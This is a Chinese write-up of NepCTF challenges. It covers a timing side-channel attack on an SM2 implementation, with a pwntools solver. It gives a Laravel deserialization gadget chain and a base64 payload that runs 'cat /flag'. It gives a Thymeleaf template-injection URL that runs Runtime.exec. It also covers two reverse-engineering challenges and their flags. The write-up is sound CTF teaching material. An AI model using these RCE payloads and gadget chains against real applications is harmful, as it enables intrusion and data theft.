d+1, int(self.ecc_table['n'], base=16) - 2, int(self.ecc_table['n'], base=16))
S = (d_1*(k + R) - R) % int(self.ecc_table['n'], base=16)
if S == 0:
return None
else:
return '%064x%064x' % (R, S)

def verify(self, Sign, data):
r = int(Sign[0:self.para_len], 16)
s = int(Sign[self.para_len:2 * self.para_len], 16)
e = int(data.hex(), 16)
t = (r + s) % self.n
if t == 0:
return 0

P1 = self.kg(s, self.ecc_table['g'])
P2 = self.kg(t, self.pk)

if P1 == P2:
P1 = '%s%s' % (P1, 1)
P1 = self._double_point(P1)
else:
P1 = '%s%s' % (P1, 1)
P1 = self._add_point(P1, P2)
P1 = self._convert_jacb_to_nor(P1)

x = int(P1[0:self.para_len], 16)
return r == ((e + x) % self.n)

def kg(self, k, Point):
k=k%self.n
if k == 0:
return '0' * 128
Point = '%s%s' % (Point, '1')
mask_str = '8'
for i in range(self.para_len - 1):
mask_str += '0'
mask = int(mask_str, 16)
Temp = Point
flag = False
for n in range(self.para_len * 4):
if flag:
Temp = self._double_point(Temp)
if (k & mask) != 0:
if flag:
Temp = self._add_point(Temp, Point)
else:
flag = True
Temp = Point
k = k << 1
return self._convert_jacb_to_nor(Temp)

def _double_point(self, Point):
t1=clock1()
l = len(Point)
len_2 = 2 * self.para_len
if l < self.para_len * 2:
return None
else:
x1 = int(Point[0:self.para_len], 16)
y1 = int(Point[self.para_len:len_2], 16)
if l == len_2:
z1 = 1
else:
z1 = int(Point[len_2:], 16)

T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)

if (T5 % 2) == 1:
T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(
self.ecc_table['p'], base=16)
else:
T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)

T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)

form = '%%0%dx' % self.para_len
form = form * 3
t2=clock1()
if(t2-t1<1e7):
sleep(0.01-(((t2-t1))/1000000000.0))
return form % (x3, y3, z3)

def _add_point(self, P1, P2):
t1=clock1()
if P1 == '0' * 128:
return '%s%s' % (P2, '1')
if P2 == '0' * 128:
return '%s%s' % (P1, '1')
len_2 = 2 * self.para_len
l1 = len(P1)
l2 = len(P2)
if (l1 < len_2) or (l2 < len_2):
return None
else:
X1 = int(P1[0:self.para_len], 16)
Y1 = int(P1[self.para_len:len_2], 16)
if l1 == len_2:
Z1 = 1
else:
Z1 = int(P1[len_2:], 16)
x2 = int(P2[0:self.para_len], 16)
y2 = int(P2[self.para_len:len_2], 16)

T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)

form = '%%0%dx' % self.para_len
form = form * 3
t2=clock1()
if(t2-t1<1e8):
sleep(0.1-(((t2-t1))/1000000000.0))
return form % (X3, Y3, Z3)

def _convert_jacb_to_nor(self, Point):
len_2 = 2 * self.para_len
x = int(Point[0:self.para_len], 16)
y = int(Point[self.para_len:len_2], 16)
z = int(Point[len_2:], 16)
z_inv = pow(
z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
if z_new == 1:
form = '%%0%dx' % self.para_len
form = form * 2
return form % (x_new, y_new)
else:
return None

def add_point(self,P1,P2):
if P1==P2:
return self._double_point(P1)
else :
return self._convert_jacb_to_nor(self._add_point(P1,P2))
import sys,os
from random import *
import socketserver
import signal
import string


class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()

def send(self, msg, newline=True):
msg=msg.encode()
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass

def recv(self, prompt=b'[-] '):
self.send(prompt, newline=False)
return self._recvall()


def handle(self):
signal.alarm(3600)
g=ecc_table["g"]
O=ecc_table["O"]
t=[randint(1,254) for i in range(8)]
sk=sum([1<<i for i in t])

self.send("system reseting...")
sm2 = TSM2(sk)
self.send("done")
self.send("the system is "+str(sm2.pk))

for i in range(100):
try:
user=int(self.recv("plz give me your number:"))
except:
self.send("wrong, plz try again")
continue
t1=clock1()
kG=sm2.kg(sk-user,g)
t2=clock1()
self.send("used "+str((t2-t1)/1e9)+" s")
if kG==O:
f=open("/flag")
flag=f.read()
self.send(flag)
exit()


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass


if __name__ == "__main__":
HOST, PORT = '0.0.0.0',8000
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
print(HOST, PORT)
server.serve_forever()

TSM2 类为正常SM2算法实现,只不过在加法运算 _add_point() 和倍乘运算 _double_point() 分别加了 sleep() 控制运算时间。

handle() 处理函数里,给出公钥 $pk$,给100次要求输入 $u$,当满足 $(sk-u)G=O$ 时可拿flag。

要满足 $(sk-u)G=O$,只有 $sk-u=0$ 或 $sk-u=n$,由于除了公钥和运算总时间无其他输出,只能猜测出 $u=sk$。

由于 $sk$ 只有8位为1,利用运算总时间,可作为侧信道信息来测试 $sk$ 各位为1时的消耗时间,测试发现当接近正确的“1”位时,运算总时间相较相邻的两位小,那么可使用时间侧信道攻击来求解私钥 $sk$。

因尝试的总次数最多为100次,采用区间遍历法缩小尝试次数,令 $x$ 为每个区间长度,总次数 $c=\cfrac{254}{x}+8x \le 100$,$x$ 可取值4~8。

采用 $x=4$ 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
r=remote('nep.lemonprefect.cn',31135)
r.recvuntil('is ')
pk=r.recvline().strip()
print(pk)

nowt = 100000.0
start = []
startt = []

def send(x):
r.recvuntil('number:')
r.sendline(str(x))
r.recvuntil('used ')
time = float(r.recvuntil(' s')[:-2])
r.recvline()
return time

for i in range(1,255,4):
t = send(1 << i)
print(i,t)
if t > nowt:
start.append(i-4)
print(start)
nowt = t

print(start)

ans = []

for k in start:
nowt = send(1 << k)
for j in range(4):
t = send(1 << (k+1+j))
if t > nowt and k+1+j-1 <= 254:
ans.append(k+1+j-1)
print(ans)
nowt = t

print(ans)

sk = sum([1<<i for i in ans])
print(sk)
send(sk)

print(r.recvall())

WEB

Just Kidding

顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd,没想到…居然被坏蛋Sharun撅了

访问 www.zip 下载源码,CMS为Laravel 9.x。

www\app\Http\Controllers 发现 HelloController.php

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace App\Http\Controllers;

class HelloController extends Controller
{
public function hello(\Illuminate\Http\Request $request){
$h3 = base64_decode($request->input("h3"));
unserialize($h3);
return "Welcome Nepctf! GL&HF";
}
}

反序列化RCE漏洞,使用现成链子可以打通:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
namespace Illuminate\Routing{
use Illuminate\Validation\Validator;
class PendingResourceRegistration
{
protected $registrar;
protected $registered = false;
protected $name='call_user_func';
protected $controller='system';
protected $options;
public function __construct($cmd){
$this->registrar=new Validator();
$this->options=$cmd;
}
}
echo base64_encode(serialize(new PendingResourceRegistration('cat /flag')));
}
namespace Illuminate\Validation{
class Validator{
public $extensions = [];
public function __construct(){
$this->extensions['']='call_user_func';
}
}
}

Payload:

/hello?h3=Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMxOiJJbGx1bWluYXRlXFZhbGlkYXRpb25cVmFsaWRhdG9yIjoxOntzOjEwOiJleHRlbnNpb25zIjthOjE6e3M6MDoiIjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX1zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7czo3OiIAKgBuYW1lIjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7czoxMzoiACoAY29udHJvbGxlciI7czo2OiJzeXN0ZW0iO3M6MTA6IgAqAG9wdGlvbnMiO3M6OToiY2F0IC9mbGFnIjt9

Challenger

顽皮的HRP又换了种语言写项目来欢迎大家,没想到又让Sharun掘了😭

(flag在根目录下: /flag)

用jd-gui反编译 challenger.jar 文件,发现使用了Thymeleaf模板,

HelloController.class 里发现 /eval 路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Controller
public class HelloController
{
Logger log = LoggerFactory.getLogger(com.veracode.research.HelloController.class);

@GetMapping({"/"})
public String index(Model model) {
model.addAttribute("message", "challenger");
return "welcome";
}

@GetMapping({"/eval"})
public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; }
}

参考 Thymeleaf 模板注入导致命令执行,修改payload拿到flag:

Payload:

/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::

REVERSE

快来签到

x86 linux

趣味题。

IDA打开发现报错 The graph is too big more than 1000 nodes...,且 main() 函数中定义多个图节点,到 IDA - Options - Graph - Max number of nodes 里改一个大数保存,回到 main() 函数切换成Graph overview或者IDA View中缩小,可以看到控制流图(CFG):

image-20220717213910100

flag:NepCTF{welc0me_t0_nepctf}

We_can_gone

是出发的时候了!!!

Go逆向,IDA7.7分析,在String窗口里找到关键字符串交叉引用定位入口函数 sub_4994E0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int128 sub_4994E0()
{
_BYTE *v0; // [esp+0h] [ebp-18h]
int v1; // [esp+0h] [ebp-18h]
unsigned int v2; // [esp+4h] [ebp-14h]
int v3; // [esp+4h] [ebp-14h]
int v4; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
_BYTE *v6; // [esp+14h] [ebp-4h]
__int128 result; // [esp+1Ch] [ebp+4h]

sub_4993B0(); // 输出字符串"Welcome to NepCTF,I gone on the other side"
v6 = v0;
v5 = v2;
sub_433950();
runtime_printstring("please input flag to help you get to the other side:\n", 53);
sub_4339C0();
if ( v5 <= 0xB )
sub_459750(v1, v3);
v6[11] = 84;
if ( v5 <= 0xC )
sub_459750(v1, v3);
v6[12] = 82;
if ( v5 <= 0xD )
sub_459750(v1, v3);
v6[13] = 85;
if ( v5 <= 0xE )
sub_459750(v1, v3);
v6[14] = 69; // 定义字符串TRUE
*(_QWORD *)&result = __PAIR64__(v5, (unsigned int)v6); // 伪代码混乱
DWORD2(result) = v4;
return result;
}

后半部分伪代码不清晰,在该函数附近发现判断逻辑函数 sub_499630()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void sub_499630()
{
int i; // edx
int v1; // [esp+0h] [ebp-64h]
int *v2; // [esp+4h] [ebp-60h]
int v3; // [esp+4h] [ebp-60h]
_BYTE *v4; // [esp+Ch] [ebp-58h]
int v5; // [esp+10h] [ebp-54h]
int v6[8]; // [esp+20h] [ebp-44h] BYREF
int *v7; // [esp+40h] [ebp-24h]
int v8[2]; // [esp+44h] [ebp-20h] BYREF
int v9[2]; // [esp+4Ch] [ebp-18h] BYREF
int v10[2]; // [esp+54h] [ebp-10h] BYREF
int v11[2]; // [esp+5Ch] [ebp-8h] BYREF

v2 = (int *)unknown_libname_8((int)"\b");
v7 = v2;
v2[1] = 0;
*v2 = 0;
v11[0] = (int)&unk_4A00A0;
v11[1] = (int)v2;
fmt_Fscanln((int)&off_4D25B8, dword_54B200, (int)v11, 1, 1);
v4 = (_BYTE *)sub_4479B0((int)v6, *v7, v7[1]);
if ( v5 == 23 //输入字符串长度满足23
&& *v4 == 'N'
&& v4[1] == 'e'
&& v4[2] == 'p'
&& v4[3] == 'C'
&& v4[4] == 'T'
&& v4[5] == 'F'
&& v4[6] == '{'
&& v4[22] == '}' ) //输入字符串满足前缀NepCTF{,后缀满足}
{
for ( i = 0; i < 15; ++i )
{
if ( i >= (unsigned int)dword_54B6E4 )
sub_459750(v1, v3);
if ( (unsigned int)(i + 7) >= 0x17 )
sub_459750(v1, v3);
if ( v4[i + 7] != *(_BYTE *)(dword_54B6E0 + i) ) //将输入和dword_54B6E0比较
{
v9[0] = (int)"\b";
v9[1] = (int)&off_4D2334;
unknown_libname_61((int)&off_4D25CC, dword_54B204, (int)v9, 1, 1);
return;
}
}
v8[0] = (int)"\b";
v8[1] = (int)&off_4D233C;
unknown_libname_61((int)&off_4D25CC, dword_54B204, (int)v8, 1, 1);
}
else
{
v10[0] = (int)"\b";
v10[1] = (int)&off_4D2334;
unknown_libname_61((int)&off_4D25CC, dword_54B204, (int)v10, 1, 1);
}
}

v4[i + 7] != *(_BYTE *)(dword_54B6E0 + i) 比较处下断点动调,查看 dword_54B6E0 存放的值为 U9eT_t0_th3TRUE,故flag为NepCTF{U9eT_t0_th3TRUE}

PWN

菜。